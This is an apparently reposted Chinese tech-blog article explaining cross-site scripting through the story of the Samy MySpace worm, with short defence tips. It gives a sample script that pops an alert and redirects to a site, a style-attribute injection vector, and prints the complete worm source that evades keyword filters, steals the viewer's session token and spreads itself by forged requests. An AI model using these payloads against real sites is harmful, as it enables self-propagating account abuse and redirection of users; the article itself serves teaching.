第一次听说因为写了一段JavaScript代码入狱了

沙海
沙海
沙海
735
文章
2
评论
2021年3月10日12:35:42
评论
5 7035字阅读23分27秒
摘要

速读摘要

速读摘要

那么我们今天要聊的就是如何从技术的角度理解他是如何做到的。猎奇心理让我们继续深究,是什么技术居然可以这样?脚本存入数据库,等到下次访问数据库渲染到页面的时候,XSS脚本被支持,导致用户被攻击。Framework的简称,使用了BeEF的脚本以后你会发现,一个JS的脚本引入可以做的事情太多了。但是MySpace却允许用户控制标签的style属性,通过style,还是有办法构造出XSS的。

原文约 2401 | 图片 30 | 建议阅读 5 分钟 | 评价反馈

第一次听说因为写了一段JavaScript代码入狱了

小黑格子屋

以下文章来源于码匠笔记,作者码匠笔记

第一次听说因为写了一段JavaScript代码入狱了

码匠笔记

小编先后就职于 ThoughtWorks、阿里巴巴等互联网公司,订阅号包含但不限于 JAVA、并发编程、性能优化、架构设计、小程序、开源软件等。有兴趣可以关注一波,一起学习、讨论。

第一次听说因为写了一段JavaScript代码入狱了

本文授权转载自公众号 码匠笔记

背景

几行代码让他增粉 100W 最后入狱,他就是著名 Samy 蠕虫病毒的作者 Samy Kamkar,通过 Samy 蠕虫成功为自己新增 100W 粉丝最后入狱。这也是一个里程碑,世界上第一只 “Web 蠕虫”诞生。那么我们今天要聊的就是如何从技术的角度理解他是如何做到的。

原理

首先我们讲一下他的 Samy 蠕虫的原理。这要从 MySpace.com 开始说起,这是一个社交网站,和 FB,Twitter 等类似,所以也有好友、个人档案等。蠕虫作者写了一个脚本放到了自己的个人档案页面,当个人档案页面被浏览时候,就会自动激活代码,把当前浏览者添加到自己的好友列表,同时把脚本拷贝到浏览者的个人档案页面,这样蠕虫会继续裂变传播下去。

猎奇心理让我们继续深究,是什么技术居然可以这样?这就是注明的 XSS。XSS 全称“Cross Site Scripting”,跨站脚本攻击,其实应该叫做 CSS 对吧?主要是担心和样式表混淆,所以缩写 XSS。

XSS

XSS 是最普遍的 WEB 应用安全漏洞,尤其是微博、博客、社交平台等,攻击者个人公开页面编辑脚本,存入了 XSS 代码,网站没有对 XSS 代码进行很好的检验直接存入数据库最后被渲染到页面上,最后 XSS 代码被自动执行。同时 XSS 也是面试中非常常见的问题,了解里面的原理以后,也是有很大利好的。

XSS 本身分为三种类型

  1. 反射型 XSS ,通过用户输入的数据,反射给浏览器对用户进行攻击,比如盗取用户 Cookie,恶意广告引流。如果你有小网站的浏览经历的话,你应该见过进入页面以后直接弹框,提示你中奖了,点击以后跳转到了广告网站。其实里面的道理非常简单,你可以把如下代码放到你的页面里面试试效果。

<script>alert("恭喜你中奖,点击领取500万奖金");location.rel="external nofollow" target="_blank" href="https://www.javaxiu.com/wp-content/themes/begin/go.php?url=aHR0cHM6Ly93d3cubWF3ZW4uY28="</script>

第一次听说因为写了一段JavaScript代码入狱了最简单的方式就是尽量少点击陌生的网站,如果你想自己亲自体验一下漏洞可以安装一下 bwapp,或者直接使用他的在线版本 http://bwapp.bihuo.cn/,这是一个渗透测试平台,通过右侧的选择可以尝试各种类型的渗透测试。

  1. 存储型 XSS,就是上面我们说的 Samy 蠕虫的使用方案,网站在存储内容时候没有充分对 XSS 进行检验,导致 XSS 脚本存入数据库,等到下次访问数据库渲染到页面的时候,XSS 脚本被支持,导致用户被攻击。

为了更好的理解我们可以使用 bwapp 做一个简单的演示,我们进入存储 XSS 测试地址 http://bwapp.bihuo.cn/xss_stored_1.php,然后输入如下代码,然后点击提交。

<script>alert("恭喜你中奖,点击领取500万奖金");location.rel="external nofollow" target="_blank" href="https://www.javaxiu.com/wp-content/themes/begin/go.php?url=aHR0cHM6Ly93d3cubWF3ZW4uY28="</script>

这样以后,我们重新刷新页面,每次进来以后都会弹框,点击以后跳转到其他网址了,这就是存储的 XSS第一次听说因为写了一段JavaScript代码入狱了

上面的测试是最简单的测试,如果你对这个地方特别有兴趣可以安装一个 BeEF,这是一个非常渗透框架,是 The Browser Exploitation Framework 的简称,使用了 BeEF 的脚本以后你会发现,一个 JS 的脚本引入可以做的事情太多了。BeEF 源码地址 https://github.com/beefproject/beef/。防御存储型的 XSS 可以使用一些 XSS 脚本检测工具,存入数据库的时候做一些转译即可。

  1. DOM 型 XSS,这种类型其实和反射型 XSS 有很多共同点,它的定义主要是在不存在后端服务器的情况下,直接对 DOM 文档的 hack,所以这里就不做过多的解释。

Samy 源码

MySpace过滤了很多危险的HTML标签,只保留了<a>标签、<img>标签、<div>标签等“安全的标签”。所有的事件比如“onclick”等也被过滤了。但是MySpace却允许用户控制标签的style属性,通过style,还是有办法构造出XSS的。比如:

  <div style="background:url('javascript:alert(1)')">

其次,MySpace 同时还过滤了javascript、onreadystatechange等敏感词,所以 Samy 用了“拆分法”绕过这些限制。最后,Samy通过 AJAX 构造的POST请求,完成了在用户的heros列表里添加自己名字的功能,同时复制蠕虫自身进行传播。下面是全部的蠕虫代码,有兴趣的可以详细看下。

<div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')"expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){  var C;  try{    var D=document.body.createTextRange();    C=D.htmlText  }catch(e){  }  if(C){    return C  }else{  return eval('document.body.inne'+'rHTML')  }}function getData(AU){  M=getFromURL(AU,'friendID');  L=getFromURL(AU,'Mytoken')}function getQueryParams(){  var E=document.location.search;  var F=E.substring(1,E.length).split('&');  var AS=new Array();  for(var O=0;O<F.length;O++){    var I=F[O].split('=');    AS[I[0]]=I[1]}return AS  }  var J;  var AS=getQueryParams();  var L=AS['Mytoken'];  var M=AS['friendID'];  if(location.hostname=='profile.myspace.com'){    document.location='http://www.myspace.com'+location.pathname+location.search  }else{    if(!M){      getData(g())    }    main()  }  function getClientFID(){    return findIn(g(),'up_launchIC( '+A,A)  }  function nothing(){}  function paramsToString(AV){    var N=new String();    var O=0;    for(var P in AV){      if(O>0){        N+='&'      }      var Q=escape(AV[P]);      while(Q.indexOf('+')!=-1){        Q=Q.replace('+','%2B')      }      while(Q.indexOf('&')!=-1){        Q=Q.replace('&','%26')      }      N+=P+'='+Q;      O++    }    return N  }  function httpSend(BH,BI,BJ,BK){    if(!J){      return false    }    eval('J.onr'+'eadystatechange=BI');    J.open(BJ,BH,true);    if(BJ=='POST'){      J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');      J.setRequestHeader('Content-Length',BK.length)    }    J.send(BK);    return true  }  function findIn(BF,BB,BC){    var R=BF.indexOf(BB)+BB.length;    var S=BF.substring(R,R+1024);    return S.substring(0,S.indexOf(BC))  }  function getHiddenParameter(BF,BG){    return findIn(BF,'name='+B+BG+B+' value='+B,B)  }  function getFromURL(BF,BG){    var T;    if(BG=='Mytoken'){      T=B    }else{      T='&'    }    var U=BG+'=';    var V=BF.indexOf(U)+U.length;    var W=BF.substring(V,V+1024);    var X=W.indexOf(T);    var Y=W.substring(0,X);    return Y  }  function getXMLObj(){    var Z=false;    if(window.XMLHttpRequest){      try{        Z=new XMLHttpRequest()      }catch(e){        Z=false      }    }else if(window.ActiveXObject){      try{        Z=new ActiveXObject('Msxml2.XMLHTTP')      }catch(e){        try{          Z=new ActiveXObject('Microsoft.XMLHTTP')        }catch(e){          Z=false        }      }    }    return Z  }  var AA=g();  var AB=AA.indexOf('m'+'ycode');  var AC=AA.substring(AB,AB+4096);  var AD=AC.indexOf('D'+'IV');  var AE=AC.substring(0,AD);  var AF;  if(AE){    AE=AE.replace('jav'+'a',A+'jav'+'a');    AE=AE.replace('exp'+'r)','exp'+'r)'+A);    AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'  }  var AG;  function getHome(){    if(J.readyState!=4){      return    }    var AU=J.responseText;    AG=findIn(AU,'P'+'rofileHeroes','</td>');    AG=AG.substring(61,AG.length);    if(AG.indexOf('samy')==-1){      if(AF){        AG+=AF;        var AR=getFromURL(AU,'Mytoken');        var AS=new Array();        AS['interestLabel']='heroes';        AS['submit']='Preview';        AS['interest']=AG;        J=getXMLObj();        httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))      }    }  }  function postHero(){    if(J.readyState!=4){      return    }    var AU=J.responseText;    var AR=getFromURL(AU,'Mytoken');    var AS=new Array();    AS['interestLabel']='heroes';    AS['submit']='Submit';    AS['interest']=AG;    AS['hash']=getHiddenParameter(AU,'hash');    httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))  }  function main(){    var AN=getClientFID();    var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;    J=getXMLObj();    httpSend(BH,getHome,'GET');    xmlhttp2=getXMLObj();    httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken=' +L,processxForm,'GET')  }  function processxForm(){    if(xmlhttp2.readyState!=4){    return  }  var AU=xmlhttp2.responseText;  var AQ=getHiddenParameter(AU,'hashcode');  var AR=getFromURL(AU,'Mytoken');  var AS=new Array();  AS['hashcode']=AQ;  AS['friendID']='11851658';  AS['submit']='Add to Friends';  httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){  if(!xmlhttp2){    return false  }  eval('xmlhttp2.onr'+'eadystatechange=BI');  xmlhttp2.open(BJ,BH,true);  if(BJ=='POST'){    xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');    xmlhttp2.setRequestHeader('Content-Length',BK.length)}    xmlhttp2.send(BK);    return true  }"></DIV>

-End-

第一次听说因为写了一段JavaScript代码入狱了

第一次听说因为写了一段JavaScript代码入狱了

程序员要懂的五道逻辑思维题,很有趣!

第一次听说因为写了一段JavaScript代码入狱了

扒一扒,怎样才能在女神节撩到女神

第一次听说因为写了一段JavaScript代码入狱了

程序员下班回家,路上被拦…

第一次听说因为写了一段JavaScript代码入狱了 可乐记得加冰,爱我就要置顶 第一次听说因为写了一段JavaScript代码入狱了

第一次听说因为写了一段JavaScript代码入狱了

第一次听说因为写了一段JavaScript代码入狱了

第一次听说因为写了一段JavaScript代码入狱了素质三连biubiubiu~第一次听说因为写了一段JavaScript代码入狱了

继续阅读
weinxin
资源分享QQ群
本站是一个IT技术分享社区, 会经常分享资源和教程; 分享的时代, 请别再沉默!
沙海
匿名

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: